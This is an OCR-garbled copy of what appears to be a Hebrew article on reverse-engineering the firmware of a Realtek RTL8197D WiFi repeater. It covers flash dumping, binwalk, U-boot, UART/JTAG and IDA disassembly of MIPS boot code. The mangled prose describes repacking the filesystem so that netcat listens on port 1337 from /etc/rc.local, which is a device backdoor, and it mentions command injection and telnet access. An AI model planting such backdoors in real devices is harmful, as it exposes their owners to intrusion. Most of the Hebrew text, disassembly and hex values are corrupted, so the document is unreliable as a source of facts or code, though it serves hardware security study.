22177 NO'DTN NN NIYATIN NIR'Tan 72 N 1wl nTna .UPG_Updatelmg'xj197 qirn

"update image file on flash by calling kerrel !

.reboot nTNNNnN oy system? NXMP NYXann i
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?'womin X VO WA PN INKYT T M7 RKIp XINY T At )'7NNnY an? ?7nn v
MYy 72770 D' awn TNR T 7Y Nownn DUV Nya wninn anTunw anta g nywinn

.nxy bootloader*-n X (firmware n'a1Twn AWK 120 X7 TINN)

NN A'WN7 211 ox nixY? 1 flash'? dump yxa? 'mo7nn anTwn '70N0 DX 210 N an? nn 2y

ANTYN 70N DX AN 17w INK7 noTin IX nxdn T 7u1 ,bootloadern

Dumping the flash

2070 7w flasha nixrnnin n1an nx nikn7? 1 /proc/mtd yalpn 7y cat nTipoa wnnen

nnx ,(nnTan bootloadern nx n7'Dn nx111) boot Nk NNX NN 3-n 112 2ADINY DR
nownl MmMgn 7w TN 2% m'wr 'yn TN .0'YARn NOIYN DR 07N NNRE PR DR non
AI0N ANTYYW NNY N1 P7 .imageaion anTY 7w Ymropnn 721man .0x7d0000n0n Tna n'¥apn
noYNI Mpn DR P 0T imageaion AanTw 17K bootloadern 7710 flashn 75 7w anid bin

02PN

D717V NNIX N7¥ ANTYWA 29T INWN DOXRY [II'D) DIon 70y KIn bootloadern 7w anTww |idn
-2 wimwn T flash? dump 'mwy .12%73 imageaion anTwa Tpnna P7 ('won? brick niwy?
:binwallka 117y 75101 ;270 7Y 17 wr 120w shell

I ¢ binwalk entire_repeater_fl
ash.raw

HEXADECIMAL DESCRIPTION

0x1958 compressed data, properties: Ox5D, dictionary
size: 8388608 bytes, uncompressed size: 107408 bytes
69890 0x11102 flib compressed data, default compression
81409 Ox13E01 Z1ib compressed data, default compression
135426 0x21102 Z1ib compressed data, default compression
196608 0x30000 LZMA compressed data, properties: 0x5D, dictionary,
size: 8388608 bytes, uncompressed size: 3374168 bytes
1231360 Ox12CAQ0 Squashfs filesystem, little endian, version 4.8, c
ompression:lzma, size: 2141851 bytes, 751 inodes, blocksize: 65536 bytes, create
d: 2015-02-09 14:01:04

il

N7U9NN NN NN NIYYAYI NANINA MPA IR YNNNKY 'KINKD WK MdINA 7700 - Bootloader™
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,LZMADna7x2 onm xinl bootloadern nx'nn 7w noio 1nt ,0x3000000'NA YaIP D"'PY AR

.D'¥apN NOWN DX IMNRT? NIRYT N1 770 INTY AR

IONTI CWUKX D'¥ApN NWItY .Y7'n binwalkw n¥apn axw 7y 75N01 ,0'¥a7n NdWwN71 277 "avn

L1277 D'YUNYN 0PN AR ,DA0IRN YAl YW 0w D'pny 0N Zlibonninaan ey

:Flashn n7'nna LZMA~ yaip 7y binwalkyma
root@kali: # binwalk 1958
HEXADECIMAL DESCRIPTION

0x15250 CRC32 polynomial table, big endian
0x1869C HTML document header
0x18970 HTML document footer
0x189A4 HTML document header
i Ox18B0OC HTML document footer
101184 0x18B40 HTML document header
101523 0x18C93 HTML document footer
101576 0x18CC8 HTML document header
101824 0x18DCO HTML document footer
101876 0x18DF4 HTML document header
102226 Ox18F52 HTML document footer

root@kali:

YO ,(aNTY punn? an o1 on HTML'9TA) ["ayn *™ Nir 72T 0w anm X7 binwalkw nx
:strings

TBS bootloader V1.0 Build65129 for RTL8197D DRACO DB AP(Oct 27 2014-17:28:17)
abortboot
sysdata get
eth _init

I BOc@
2s"RR

$b4C

6S&

P

@%spF g

bwrV
tfdGTsD
TWvvF

XDHex

JuZTj7z
\dLE<
~BNU~t.
gqr<

16gnk

TiGM>nw

rt8196d

4prepare_tags

setup_commandline_tag

O### ERROR ### Please RESET the board ###
Flash:

DRAM:

U-boot 7w x0o1'a nTw nan X ,bootloadern m> nX12 N7 INRMyn TIXNA D'RN INIXRY DITNNNAN

D2 D ,NNdIN 7 I'N (NIMN? " NIZITA NITNNAN) NITIRONN N2INY 7722 XD ¢ '11'Y NNy
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-2 0101 XIN WK 0'9Tn PU-boot-w nxIo1 NTnnn X' - "Please RESET the bdardrinnnn

.panic

UARThI2'n won71 nminn NX [In27 o'xin nvn U-boot xin bootloadernw o1 nnakwn ,nyd

.00 UON7 7'NNA TINNN NIX NN |27,ANTWN 1'70N DR NIF 210 2277 21w nan v JTAG

p x T * A4 s 7 ] x X -
.M¥pP2 0N N JTAG UARTD'wONN nNIX Nn'%? 722 0TI 1'20N

2y 71n1 punn pwonn n'-bootloader nan ,n'RM'0 Muwpnt yioa 7ipione xin UART

Jon' NIvIYvS NITIRS DY Nninn

nIAY? N7 NN 1) 2wena wirw PCB-n nprma%? nnninn ntwyna vimvo xin JTAG
"D DA DT VITIVOQ D'YNNWA DIIX' NN DI (DP'TA7 07D D'WAT 7 NINI7N X NI
JTAG:anna 02'9 7y 71 12 vamwvon) Nt (11 Flashyno't ,Tayn) naninn 1Y nx 2717
N7 wnnn DX 70 7 yTnn 2201 "y vy TR 7y XY 72X ,00TI0oN 7w 0avnn nadn i

(" 9182 debug

NN DX TANY 1 JTAG programmérny Ty baremetalnnia 1Tay' "wx 0'nnon anY

.Taynn NX 27171 RAMY Dnv

.(GND nnTx1 (VCGnnn ,(R¥ no'7p ynw ,(TX wT'w yny 0770w 019 4 59 yio1 1ann UART
1T EJTAGwA |pn w' MIPSTayn? .Taynn ¢ ¥a 170 ,0Mann 7w a1 oon v JTAG?

.0"721 14 %pa "anni (N yioan) or'an 12 7ya 1ann ,0v'7a0 6 7ya nann :nann o 3 7

.0MAImMN DANNN DRI NN 7Y DAY NINT7 Non

Embeddedni>nwn? yioa Bootloader- U-boot *°

NWNN Y2UNn IR DAY DMNLF7RN DN 0NN 7w NizA KIA printed circuit board- PCB'™®

Flashn 12>t RAMN ,Taynn 123 017 2y now awor' JTAGY 17T nninn 7y no™w 1wexn AW 1won - JTAG Programméf
"I
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1 x L s . «

‘t"u SHE 94v.0
E248779
V2« HIS804PN4SBA].
Sy Crw
v S

:0'YAX2 0'1"1Vnin 0D'2A'D7 N DX 'NIN'o

WIFITUn 980 X 1
vUIaTN? W' 0TI Mty 00N ninw nxk PCBa v nivn an ntm? UART? oo o0 X 1
NIX O'N7'Y 12NN "My 781'07 12NNNYT 72IKY *TD N 17N 0'2'97 0720 NIiNNYIn 1'n Kv

.07 070N
ANKY? IR (MINKN X7 D) Ni7n 2V D9 TV PRY i JTAGYIX DNw 'Mawnw 0o -~ X -

IX VTN DIw Nnayn X7 0v7a0nw R oscilloscop&-1 quonu7i oy pniann N NTTY

JTAGIA'N N7 ni2dt X7 |0 P ,007

DINLF?X D72 NITIAN PWN WX 1NVFP7R YwIn - Oscilloscopé®
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S”X-l\. -|XLS

by
XN

o

:0'Ya¥] D'INI0N DD DA D*IYNnn DADIN

myy Taynn - X 1 1

SPI NORion Ao Wn 7w flashin ik X 1

201N 'w RAMN : ol

NQAIT? N0 77wn pan 70r) PCBR 7y JTAGaXRYn X7w 7721 KIn ,N9X X971 /Mo I TIy
Inxy Tavnn v JTAGY "0 nx won? 'm'o1 ,(N177 on7m ™1 7yona 27x1 a1 v flashnw

.EJTA@G@ 1002 N XINWY [11'>

NT'N .AN7¥n K77 X 17w datasheet®n nx ‘mwon Tavnn 7w JTAGY 721 X Kixn? Man %y

JIN'WY' Taynn DX 22771 D'RNN 12NN [RY9R DN7NY7 710" MU NIR RXIN Ml

DA 'MKRX¥N ,N00IA N7W NN "YYW NIN'ON NI 120 DANK D'1"1YN 0DMAT 'MXXN NNXT nniyY

.011'9 12%ya 7ann nirn? 2amx nn XN PCBn 7y JTAGann n'n DRy

NN TTAY 12NN DTV "NYpa 19w XOSI7N K77 2'10 DY TIAV7 AxXa AN NN A1ixa Tay? »m»
72NNN DAY 790 ,NI77 D'RNN 12NN DY NNN 790 [0 KINI XODIZA W'Y NID 90N 790NYW NNNN

T2y 2970 1w baud raté®n N Xixn7 117y Y800 DY TAYY 20w T Wpwh

30 IX INUPYR 297 %Y D' NN 1O0 V1N - Datasheet™
NTAY NRA'0N NMIYENN 12 DIIMIN Mavn 2y - Baud rate®
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TPONW 1T MIX2 INIXK vinl 'vimvo UART? USBamn npa 1'7x "annn? onw nm 7y

2N o'oinn Ton? m'kn' (PCBN 7y niwn nfn 720 75 9w T'ronn) 21N 7y 0taain

MXYNY TY D'DIWN 7D DX Mo ,0'VNTIVo D'-baud ratennd NN Thxa o7y 0anY , ANy
NX Kixn7? 1 JTAGuUlatoniad 0'751 wnnwnt nTn nnika 'M' .1152002xp2 72T annw

TN WN

2 NNKM ¢ N'MNINN NTI2VN N0 NWD

oy

Backspace

N2 ANTYWN 70N 7Y 75N0nY7 7511 19 2xpn DX DWW NNIXE NP7 Y7810 112N IRYNYN  Nyd

.U-boot-2 yxann xinw
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U-boot-s + .~ X T~

X7 ANTYUN yalz ,7win K77 R "Rron 0791 win'w oy U-boot-n Nk 0Tw? Mo Nt 2w TV
MN7¥N WK (7807 NWY '7NNNY NI0STA T 7Y NI7A7 'MN7x¥n [77NY) NipTan DR 1y
U-boot 7w nx11a'o11i77 0oy v 0randi anTwaw (1D U-boot-7 nayn 775 'y X7 210, 2Tt

.92 NNXNNA 0'NA 8414 vo'na o'xynmv flashaw

ANTY 701 ,0'¥an NdwNn R¥Nl AW vo'nl pn Xyn v flashka vo'nn bn n7x oY

SN X7 W 0W7 Anda NN X7 D'¥apn Ndwn 7w uotan

v U-boot-7 .U-boot-n Nk 1INX7 0Tan7 0'wATI 1INIX ANTWN 1*70N DX X701 91X ['an7 nan 7y

.second stage bootloadarfirst stage bootloaden'xj71 "X n'y77n v

7712 - ARNT7 D710 DNRY 1ND1.NXY TAYNN 7V W'Y ramk ) Unnun AWK L7711 Taynn QUKD
0370 (nnwr flashvnn ya IR) oW o first stage bootloaden |07 .jup TIXNn TINn XIN AT
NN (V07 Imponw second stage bootloadar nx p'nynl ram-n 7w 1pan NXI D'N7NNN DA

R YIONTI N7V9NN NdWN

oy yan an? (‘i1 elf a3) o'onio jnana yan 17w second stagen ,U-boot nx n'79np7n 2wxd
X177 79n17nn XN XINY bin Dwa TN VN9 TIV W' .19W entry pointn XIn Nn MIxkY header
-n No'X Ny T? 1O first stagen nx WINKY? 0TNY Y7xa 27 ,7'nnn XN n9'X iIkw header niv

.entry point
L1977 'nnn MIPSTayn QWD NI Nn N 110Kk first stagen 7'nnn n9'R nyT7? '

270 i niaund non oy MMU-n n'onivix 7yoim 71 Taynn 2wxd MIPSniopusINa
n'Ton namdn .0xBFC0000N'xivn Namdaw boot vectof-n Nx lyu? non Tavnn
aion o-flashnn #7nw [onw n'n "W winan .nninn Y DX e 7 nnnwn 07 nnaninny

.0wn yn? 7'nnni flasha 0 vo'n? wan Tavnn ™ XIB*2 nonim NOR

[N X7 IX |'PPN NIN DRI NNIRY TN DX NYT? AR 2, [01 79 Winn DX DAY WAt v
75 7w D'7INn'R DMt P71 Y RID 12V NI Tayn? '9'¥90 wnn KN first stage bootloadeinw
Awpnn low levelTizi 02T AWKRD) NI NIAMDY? NN 0DV N2 1N AN7Y ,0MpPa 1N
(11" N7V D'0NS DIY N7 'RIL(INXY DININ 12N DNY NIAIMDY7 2AND IR X7 207 XIn Nnin oy

DITY? TINN 09D 0MpAN 7 [ND'T NO9N [12D DNAT .NNINN 7Y YT DIv 117 |'RY

(resetaynn xxI')pyT Taynn AWKRD Y¥annw Tin - Boot vector™
RAMY npnyn X747 flashnn ninver Tip 7w viva nwoxnw nal7o0 X' execute in place XIP?
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AN TIVY NN OINL 2an0X2 AN 17w DRIWRIN nxn A first stage bootloaden Lo md

:0 vo'm flashn nx Idaa nnoa .Ida7v nwp!

Library function [l Reguier function [l Instruction (1) Data [l Unexplored || Extemal symbel
Funcsons windon oax @ 1A Ve a @ Hex view-1 & Svucures 4] Erums. i) Ingorts =)

ticn name Segment

TI? Do n 077N NR DaNY7 [dank "nmont" 'm0 nnm X7 ldaw nika'? |nn

Library function [l Regular functon Ml Instruction | Data [ Unexplored | External symbol

[7] Functions window o8& x IDA View-A B 9 Hex View-1 B @A Structures B B Enums B8
Function name Segment o ®
ROM: 60020000
[7] su_c ROM ROM:@66B6G@6 # Segment type: Pure cade
[7] sub_sas ROM [RoM: @BoaBEED .text # ROV
|71 sub_ssa ROM [ROM: 00006000
[ROM: 06006006 loc_: # DATA XREF: sub_584+4Clo
ROM: GB0EGEE0 bal sub_C
[ROM: 8086084 nop
_byte BxED
.byte @
.byte @x19
.byte @x20

SUBROUTINE

# CODE XREF: ROM:loc_otp

n $t1, 8($ra)
nop

move  %gp, 5t1

move  $tB, $zero
mtce $t@, SR # Status register
nop

nop

nop

1w $t9, @x24(%gp)
bal sub_664

nop

nop

1w $t9, @x20(%gp)
bal sub_s584

nop

nop

1i $at, Ox3FFFFF30
move  3t6, 3at

1 $at, BxBE0G1640
move  $t7, 3at
sw st6, B(st7)

nop
nop

1 $at, Ox7FFFFF3@
move $t6, $a

1i $at, GxBEEH164G
move $t7, Sat

s sts, Q(se7)

nop

TIPN DX D'WTIY X7 1INIX - DTIZ "M2TAY NNY XNAIT N9 W' IR ,NXP NINT? 7'nnn ldaw nxkM
IR ,N7NNN TIRY 270 NX Da'n [dan N dataw' n'7nnna ,8 vo'na ,A7 M'YN DX .|'PN NNKA
22 NDINN 7D NING wniwny gp NaING [N 1T NAIMD Y wn X1 12 votnaw 'm0

first stagea nIw D'P'7nnn YT NRMPIENIYRAID DIPM AN
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Yaiznw lda? 2121 2 nd1 ddaa vn NR 0w 7211 gp aIkn 7Y vn DR DYTIY 1DNIRYN DY)

nTw M second stage w 7inn pwnna vio'n nxp nx7w 0xBDO0000Gnaman 1vv

flash-n 7w n'781001© NaMdN

ROM: BD@BG2GA

BDeeRBE9
BD@aaaaA
BDoGREEB
ROM: BD@2aaaC
ROM: BD@22oaC
ROM: BD@2aaaC
ROM: BD@22oaC
ROM: BD@2aaaC
ROM: BD@22oaC
ROM: BD@B2A18

ROM: BDee2O14
ROM: BD@B2A18
ROM: BD@22alC
ROM: BD@B2A28
ROM: BD@2BO24
ROM: BD@B@A2E8
ROM: BD@22a2C
ROM: BD@B2A38
ROM: BD@2BB34
ROM: BD@B@A3E
ROM: BD@22a3C
ROM: BD@B2248
ROM: BDe2BB44
ROM: BD@B2B48
ROM: BD@22a4C
ROM: BD@B2A54
ROM: BD@22a58
ROM: BD@B2A6A
ROM: BDOoB26S
ROM: BD@BAA6E
ROM: BD@22a6C
ROM: BD@B@a7a
ROM: BD@@BBT7E
ROM: BD@@@a7C
ROM: BD@2BO5S
ROM: BD@B@ASE
ROM: BD@22asC
BOM: ROARAASA

loc_BD@aaaaa:

.byte @x8D
.byte @
.byte @x19
.byte axze

SUBROUTTI

1w 3tl, @(%ra)
nop
move $gp, $tl
move $t@, $zero
mtce 5t@, SR # Status register
nop
nop
nop
1w $t9, off _BDe@1944
bal sub_BDB0as64
nop
nop
1w $t9, off_BDE@194@
bal sub_BDB0ass4
nop
nop
1i $at, @x3FFFFFE0
move $t6, $at
| 11 $at, @xBERA1040
move $t7, $at
sw st6, B(5t7)
nop
nop
1i $at, @x7FFFFFsa
move $t6, %at
1i $at, @x55691840
move $t7, %at
sw st6, @(5t7)
nop

nan

# CODE XREF: ROM:loc_BD@eeeeetp

AINX7 0TINY Y'wn N 17 0TY? 10 AT L,gp T 7Y D'RO7IY 0N DX Awn? Ny [da nyd

NI'¥29N NNX .D'P'7NN 2N DX ANAT X7 XD TV D TIR DN 0'Rion op7nw ldanx "nmon'"

nTnNAN 7w namd T 9 "B o ot mghma Nk 78107 N0 AW n¥aid R an'T D Idaw

("7xron 2N Yw mwn buffer X' I naMdY k1) [NDTA NAMdY? nn'we

-1 yi¥a? "ayn ram? flashn 7w 47KBnpnyn 120) nwy first stagenw n'*7nn am 25 WK

"wn 707 o'wan nnax (CTipnm 79n1pw kMW TIR7 Navnl ram

FEE

sub_BD@@@820:

var_10= -0x10

var_4= -4

1i $gp, ©x1100

addu $gp, $t9

addiu  $sp, -0x20

sw $ra, ©x20+var_4($sp) #

sw $gp, @x2@+var_10($sp) St

1w $t9, off_BDO@193C # Loa

addiu $al, $a@, oxC %

jalr $t9 =

lui $a@, ©x381D0 #L

1w $gp, @x2@+var_10($sp)

bnez $v0, loc_BDOOR86O # Br

lui $t9, ox81D0 # Loac
I

v \ K

$t9

$ra, Ox2@+var_4($sp)

loc_BD0@086O:

$sp, @x20 = e b loc_BD@@@860 # Branch Alway
nop
# End of function
I ————
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ram? pnvinw flashn 7w 7707 vo'n XINW YUNTD DY NXPADY ARNP ND9 W'Y D'RIN 1INIX
7¢ nyipEn niumdn non ' 7yw ,0x81d00000hYIAPN NAIMDY? YOI TIPn - NN'Y7¥N X'l NTNa
,NX'9P7N 197 NXI7IY N'X71197 10NIDd NNAYIN IT NANDY 17 0'W] D IND .ram-nn #7n 1InT MIPS

AT NYAI9] 00U D'P7N 7Y NXPA 7ON0 D7

_ L J
e =1
1w $t9, off_BD@@1948 # Load Word
sW $a2, @x6@+var_C($sp) # Store Word

move $a@, $s0@
addiu $al, $sp, @x6B+var_3 . # Add Immediate Unsigned

jalr §t9 # Jmp And Link Register
sw pUD, UAUGTwL _aupspy # Store Word
1w $gp, @we@+var_48($sp) # Load Word
1w $a2, @x6@+var_C($sp) # Load Word
1w $a3, exe@+var_1@($sp) # Load Word
bnez $v@, loc_BDBB1BE4 # Branch on Not Zero
lui $vl, BxB354 # Load Upper Immediate
. |
e ' 3
lull i [= e =
move %ad, $s8
addiu $al, $sp, @x6@+var 34 # Add Immediate Unsigned) |loc_BDB@L1BE4:
sw $v8, exe@+var_28($sp) # Store Word 1i $vB, @xFFFFFFFD # Load Immedi
T fvi. off RD@A193R  # 1 oad Word
1w $t9, off_BDBB1934 # | oad Word
sw v, exe@+var_34($sp) # Store Word
addiu v, $sp, Ox6@+var 48 # Add Immediate Unsigned
jalr £t9 # Jurp And Link Register
sW $v8, @xe@+var_58($sp) # Store Word
1i $vl, OxFFFFFFFD # Load Immediate
movz $vl, $zero, $v® # Move Conditional on Zero
b loc_BDR@LSES # Branch Always
move fv@, vl
|

[N2'TA DMON 77N NOSNA NIYNINY NN AINYA 'MINOW NIYZAI9N 'MWY NXIIP N¥j7190

'2an7 1721w "2 n7w Proximity grap-nn 270 a'¥X ,Nd110n TIXA IR NI

i
%

=

——

= 1
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MmN NR' AT D AU 1DVNAY X7 ANt W vNnn ,n%w proximity grapR®-nn xn 7 wa nr
secondn 7w NO'NTN NN'MD N¥ZI9N ITY 'MNINI N0 NT'7AXR 21 NIYYYT7 D710 NNIRY 1) AT

(ram-7 pnyinw flash-n 7w 2'7n2 naMd N1 N7 "avimw 0Mon9n TNRY 7722 stage

NT VO'N NT'RA YT 'R .second staga 11 7'NNNY DaAYIN 1INIXY NAINDN DX 17 W' Nyd
['TR |27 [N2'TA Nintlon NIUNd a¥n? second stage 7w 71N pwnna oIk v ?7n7nnnnn
Dnw?d 0'Ma 20 7m ntiwxan 0'nan 20 7w nnkNn NIWY7 NOINI ITN NAINDN DX A'YNY NTIRD

17 ' 120w oINT X7 second staga

NOY'A NTYW 'MIaNW 27wa Ty second stage NX NINSY 'M'ow |"x¥7 v ,yalpa 0 Vo' INTYW NXM
second stage n'v'oin first stagea NINX? noTIina 'ModY Drwrnn 770 91 ) U-boot 7w

PN TIR AT DR NYT7 "M X7

:ldaa Imix NNo1 .second stagen 7w n'7NNNN NAIND NX 1IRXN

L

.07 Nnn'T X7 idano Daw nxM

D'¥N T %Y DNA 70120 'oN' NIXE D'WIAMD TR 770 Naen ida na naxn T - Proximity grapH®
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,TI7 DN omion n'p7nw lda 7w "nnon" 7w first stagea 1n'wyw 1'7nn M X nwyaw NX7
NIXNT7 ANl TIipn 75 DR ANNT Idaw Nk gp TaIRD Dyl 1IRXN NNIRY N2IMDY N1'wo

.data segmeniin na1n? nirlonnNn

NOTINN Y'7NNW T stremp IX Strepy (1A NNDIN NEXZAD 1M 72 NINT? Ath '70NN2 'M7nnn
System updaté 2wn Dy n1ayn NN stringsn 17N k¥na N 7 o nNINRN
LANTYUN N0 1T AXNIN 700,02 nwnnwn 17'9xw ko vl "completely! Restarting system

N2 D'0AIN D'P7NYT ONYNIN

loc_81D67E7C:
1w $t9, off_81D19463

sw $a3, Oxa8+var_28($sp)
addiu a2, -4

jalr  $t9 ; calc_cre

addu $s2, $s3, $s2

™ $v1, -3($s2)

1w $vB, OxaB+var_38($sp)
1w $gp, OxaB+var_33($sp)
1w $a3, @xa8+var_23($sp)
beq $vl, $v8, loc_B1DB7ECO
£s2, $s3, O30

FEE]

loc_81D@7ECe:

Iw $s5, off_81019146

In 3t9, off_siD19260
move  $al, $s2

1w $s4, 4($s3)

addiu  $a@, $s5, (aRtl3197dDracoD - @x81D108@) # "RTLE197D_DRACO_DE_AP"
jalr  $t9 ; stromp

sw 3a3, @x4d+var_28(3sp)
In Sgp, @xas+var_38($sp)
Iw a3, @xas+var_28($sp)
beqz  $v@, loc_81DA7F@s
move  $al, $s2

FEE]

loc_s1067Fe8

1w $s5, of f_51D19146
addiu  $s6, $s3, @x18

1w $t9, off_B1D19268
move $a@, 356

sw $a3, oxas+var_28($sp)
jalr  $t9 ; stromp

addiu  $al, $s5, (almgs - @x81D1000@) = "imgs”
1w $gp, OxaB+var_38($sp)
1w $a3, oxds+var_28($sp)
beqz  $v, loc_B1DATFSE
move $al, 356

and (ANTwN 7w headernn @70 Ty INT) Yalzn N7'NNn 48 VO'NAYW 7721 ,{7TA) CIGNY DR

L1 mpreinn amd yaipn n7'nnn 24 vo'naw pTaa1 "RTL8197D_DRACO_DB' Afhnnn

81 4 po'n? nand L, aNTwn headera 4-1 0 p'wo'na DDWN D'NP7 19X NPT NKRY

Jomn mrw X477 flash'7 ano1 anTwn yaipi flasha nwyiaroaipa
117 70N 'Y NN 2700 0T Inpare

X7Y D'D01 DN TIVI) 270 N7 270 IR P72 K7 1'WOY TV ANTYN NIYTA DR YXIY TIpnY (1D
nn ‘72 ,nyd .headera n7x NITw 9w onirp v Ny T? M7 K7 L,('1D1 KON 7w DWUN (12D V9K
NYANY D'¥2 NDYNI 2DIN DY YVANY 707 DY ANTY YAl ['9N7 XN 21727 71D NIYY? INWIY

1IN7¥N OX NIXYY '21W 1D - "'y DY X 1'WONN DY

1NNN'NAY7 yalp bin ntp'ma qron .unsquashfs?an 1 7y 2NN 117 W'y 0'¥aEn Nd>Iyn NX NN
NX NP7 702 Yy W /ete/re.local yaipn nx 0yl netcat *75n nx Ik hackednwa yaip nno)

squashfsir'ww orx¥apn n>wnn D1 .(71'm07 pnik 1yt 1337 v1va 0NN NdN'w netcat
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(flash*? dump nyx'aw binwalknn N8 0DV DX 117 W') NO'NT DNNIATR ININI XOYA NI WTN

J 017 nRY? Wworw Nkl mksquashfson v

N 1d7n imageaion |'gh ANTY Yaly ,01>'0Y
:D'NaN DMATN DX '7onn anTw Header (1
flasha 70pn xxn' 1aw vo'nn Nk Ovo'na (a
flasha o'xapn no>yn xxn'n 2 vo'nn Nx 4 vo'ma (b
D'OINT D'¥aPN NdwnNI 7n 7w 1an nx 20vo'na (C
“ i mprerinn nx 24vo0'nm (d
“DRACO_ DvhndaBX 3200 (e
“RTL8197D_ DR#AIGMN XA vA'RY" (f
(m'w X977 2n01 yalpn 7w pimn anTwav i) LZMADnnGx 197 oint kernel (2
LZMADna%x '97 noinT 4.0 xon'an squashfsion oxap nown (3

Yaljn XY 7w crcon yalpa pannk oma 4 (4

‘Web-n punn 01 07W% nom

Helptul Hints..

The device is upgrading, please wait for 64 seconds

- 000 Fimuars undates may be (983580 panodcaly o MIBEOvs 1
. & covn-putty o x

= Logout

NIX D0 2'NY INX7 V' 190Ny YalZn DX DX pPITAY ,ANTY 2¥N7? 0121 TWINNY NN

(' (9182 N7y op'7n headern 7y 11*7aw N 75 IKY ,0Y9N) O711'70 NI ANTWN

[¥ 7nnn - n7wsnn nd>wn Ny Nya NxY 75 vYnd Y¥a7? T [Xon X hackedowa yalp ooy nixY? [N mimnaj

D'™710' NNIRY I 2DIN 72V AR N0YY 17 v - i lfirmware A TYWY nnhyn pRY R

.bootloadern no7nn 17'ox IX 7077 NO7NN IX D'¥AR NOOIN 7710 171D frimware-n NX 9*7nnY
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72 227 NNKR NIYYYT 70" DX NNACANND XD XY 70 1277 YTD 02 DT INRN DX 7¥17 nxn v
JINXNY NIXNI9N

¥ NN D'WYN XNO'0l WNNwn DW DY 77NN NMaa a0 v nimow  telnet-n nnw L1
110'n"7?

[PXI TN ,HTTPY Niyjzaa payvme 0nonio? o nig'ma qoin? n'n N1 Webn nawa .2
JIURIN 77N nxxnw command injectiom nxi LR nx nvam 1o [ - R0 Nzt

D707 NN NITYA XN K ANTYN PRY NNRR? 17X AN 2D v anTwn 1'9an .3
19012 DNNI ['VI7NY7 2N 7V BNWNYT 71D0' 117 AWONNI NNIXA X7 201N ANT'Y DAY NX'ON
.CVE20189232:xan CVEN

FXol A

VAN PNAN 9102 .07 270 N7'NNA 117 'Y NIP2aNN 72 7Y nknn 7Y 0T 7702 "2ann nnéin
wUNNUN? 7311 12D INKY 02 2071 IRYNT7E 2N Y No7Nim Arnr a'wn o' X 12 axny
[N 7Y Nvnwn? qunna (0121970 IX D' D'AYNN 1ND NVAIRAL NN X7W) ATh 1'Wona

.Avnn IX |I’:)'7U |12 DANX DY'WINY XM |1'0"I

IX OINK7 NOTIN 7Y DINNA 'y (IR 'MTAYE NN AT 270N DX Y¥AY "M TINA 9011

ApPNNN 7w ATh P70 DR Y¥A7 'MIND IRY 10D NINDY NNMZNN ONINMY Dl

v

PR s L

AINK? NOTINI NNYTN NI T2 ,NIY7IN A7Nna Zoynn 1190 nntaw Low levelnnon 4 | | |

>

:NAINDA "X NNO9Y7 DIATIA NN / Nvn ,N'7RY 704

komerkO@gmail.com

DIP'NI NNYN ,NNINN 219'0 YIVY 2V pnnn 7w oTipn 7907 'oniw 4 1 ~ 9 nTnimh hmin

NRAN v IT noroy

NNYN ,NMIND DY NIZOYNNA ATy Lyl nmaw = 17 17 kg o T X x Y oA

NNNAN 7Y IT D007 DI

:CVE MITRBNX2 1xn axinw CVEN NITIK X' yTn'7 w'pe
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N'T NN NXN

D'TyIN oIAl NN'R N1un? CTRAANK DO 7KW TOIMNN ,NIWN DA ,NIXAXYN DI MY 791 1D
AT 'AT A X7 'INNY DNANNTE NNO9WNYT 'MINKIE DMNIN 'MOoY1'Y NTN 27w I'MNIYY DYN'YI0I9
D77 X X - TV N ANIRA DY 8-12 71 7aK) NP ANIRN TYINA AW 101'WI NANRD
[2MDI1 .D'RYIN 7Y NINWN 190N N1AN YT WAT A7W 701,019 15011 20110 MANKD (MmN

.NT XN DONDY [1217 1'RY D''NON MANKNY INK7 71 - MY 701 1D

"Y:‘-L _|,,|S-:i.\.-||\‘xxx

|'1n'7 o'DMAX 11Nl NI'MYANN NINWAAL [NV DONIS DY TNn 27vn mwn o LN D1Y? NnIm

ININ2N NAINNN NNONID DIFN 7KW [IN'YYA NNAIT? JANKA [IWRIN 277 v an' 'R

et S e b e >H+<] > = [>>>>4<

1 e G 1 b R e e e [-]€pmmmmmm e [ <+ -1 <

-1 + +€<-] [-=o === [->4+4<] >+ . — [~ D+ DS <=3

[ + >+ -1 L m—— L (===, [=] D=t === [ = | -1

[<<<<H - CECCCIL [ []4m] Cbm b D [ md ] K [ADHLm ] DI bbb bbb b [ h 445 dbd 4 <[
1>>>] +>>>~ >4 K<<= ] b= ==3< [4= [ $=] <H==4> [+--+]<[] ] >> .
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<=1>| i A [=1<[>4<=1<[=[ + -1]%< SR PP, T "

[ =12ttt bttt [[-1<<, = [ 1
=12 +>4 B R SR P COo L - + =1>[
-] T [ +] = [PH<= = m e 1>-== [<4>=] [<4>=]>+4><<c=] > [~
Fhb b [<[DD4<<= . P b [ [ < ] <KD [<> =] 24544 [+ <SS <= + 4<<e-]
[ = | Dbt [ =K AD] L] D [KAD =] D>+ [Dhbb [< | + + -1 (-
(e m b > ] L] D [ K= ] bbb b [ Db bbbl S CC <t >=1 < S
L= ] D4 [ -] H 4 [ D4 [ << [ -

SIS > ] CL] > [<4D- ] HHHHH [DH bbb
S5 5E=] D [KAD =] HA>H DO+
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Aonw mY A< D0 Dnxy Y DTINY DNINNY Q7 0'W) NN 20N D'0'N 1INIRWD
QIR T2V DNNID) VYOI VY NIYPAD DY ANI'0 MIPN Nwnnn WK Brainfuck noswa NaIm
[I"7UN NP7 NN0N TIRN DR YNINY 10X NANKD K¥YND D' an? 7avaw n'an nnax .(a7'n

.https://copy.sh/brainfuck:anxa wnnwa NRT NIWYY? 72w ,nimn 7w Innnnl

x 7os x 4L, s s 1%

~ ~ a

S

”

Sh- ++<S- - S<[+ - [+ - [<+ - +3[+ - +]<
[+>+< - ]<> - [ == SHH<]> o= | -

- AR [HES - <] - - S+4<]> -,
+[ - SHH<]>H A, -
e e b R RS S 5 S P
. c=m=m [ - >H<]PH+] -]t - < -
<S[+ -+ -]+ - B[+ - H][+>H< - <>+
S <> - S][+ - [+ - I<+ - 3+ - H]]]]

S"xor-with-key" ntinnnn jon%? 7 091N

s , x " s L T x 0] s S w L 1%

I P N A DS
]-[+< - 1> [<+> - ][<4+> - ]>H>
H>HH[ - <HHHHHES[L]>[<+> - [>4>HH[+H
St - <H++HSL]P>[<+> - PDESH>HHHH
- <HHHES]RL]PP[<4> - [R bbb [>
FHtH<- [SH<H> - [FHESSESH] - S+ - <+
+H++S]<<]>[<+> - [F bbb >+
<-pH<+> - [HHES AR E>E>E - <SS

2T on? 09 TI' X7

NIXIN INK7 |N2'T MINN2 V) AT 72W2 NDINN 7Y DXN 170N NP NN 'an? oxa nwd

view memory’ -> fidal dump’ 7y nx'n'21 NOIMN DX =28 NDINN

final dump

pointer = 0012

